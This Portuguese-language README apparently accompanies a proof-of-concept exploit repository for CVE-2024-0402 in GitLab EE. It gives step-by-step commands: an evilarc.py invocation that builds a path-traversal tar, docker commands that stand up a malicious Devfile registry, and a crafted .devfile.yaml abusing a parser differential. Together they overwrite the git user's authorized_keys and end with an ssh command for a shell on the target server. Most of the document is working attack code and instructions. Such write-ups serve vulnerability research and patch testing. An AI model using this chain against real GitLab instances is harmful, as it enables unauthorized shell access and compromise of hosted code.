
Exploit para CVE-2024-0402 no Gitlab
O projeto contém um Registro Devfile malicioso utilizável para explorar o CVE-2024-0402 no Gitlab.
Um stack nodejs:2.2.1 é indexado para expor o arquivo archive.tar que explora a vulnerabilidade de path-traversal na biblioteca registry-support anterior à v1.1.0.
localização do tar: malicious-devfile-registry/stacks/nodejs/2.2.1/archive.tar
Foi criado usando o evilarc.py para sobrescrever o /var/opt/gitlab/.ssh/authorized_keys no servidor Gitlab alvo com as chaves SSH da pasta ssh-keys/ neste repositório.
python3 evilarc.py authorized_keys -f authzkeys.tar.gz -p var/opt/gitlab/.ssh/ -o unix
Uma vez em execução, o registro terá o .tar malicioso adicionado aos stacks buscáveis.
Veja o index.json listando-o entre os recursos do stack:
...
"links": {
"self": "devfile-catalog/nodejs:2.2.1"
},
...
"resources": [
"devfile.yaml",
"archive.tar"
],
...
Configure uma instância Gitlab EE com versão <=16.8.0. Ative os Workspaces seguindo a documentação e as notas extras no nosso post dedicado da série !exploitable.
Quando estiver pronto, siga os passos abaixo:
Execute docker build -t devfile-index . na raiz deste repositório para construir a imagem do contêiner do registro
Execute docker run -d -p 5000:5000 --name local-registrypoc registry:2 para rodar um registro de contêiner local que será usado pelo registro Devfile para armazenar o stack. Nota: você deve editar o comando para expô-lo de acordo com sua necessidade. Para nós, tudo acontecia em um ambiente local
Execute docker run --network host devfile-index para iniciar o registro Devfile malicioso construído no passo um. Nota: como antes, edite o comando run como desejar para torná-lo acessível pela instância Gitlab
Autentique-se como desenvolvedor no servidor Gitlab alvo, depois edite o .devfile.yaml de um repositório que você controla. O YAML deve explorar o diferencial do parser para permitir a busca a partir do registro malicioso
schemaVersion: 2.2.0
!binary parent:
id: nodejs
registryUrl: http://<YOUR_MALICIOUS_REGISTRY>:<PORT>
components:
- name: development-environment
attributes:
gl/inject-editor: true
container:
image: "registry.gitlab.com/gitlab-org/gitlab-build-images/workspaces/ubuntu-24.04:20250109224147-golang-1.23@sha256:c3d5527641bc0c6f4fbbea4bb36fe225b8e9f1df69f682c927941327312bc676"
Para acionar a escrita de arquivo na interface do Gitlab, basta iniciar um novo Workspace no repositório editado.
Após alguns segundos, a escrita arbitrária de arquivo deve ocorrer e a ssh-keys/pockey.pub será adicionada ao authorized_keys do usuário git
Você deve conseguir um shell irrestrito como git com
ssh -i ssh-keys/pockey git@<YOUR_GITLAB_SERVER>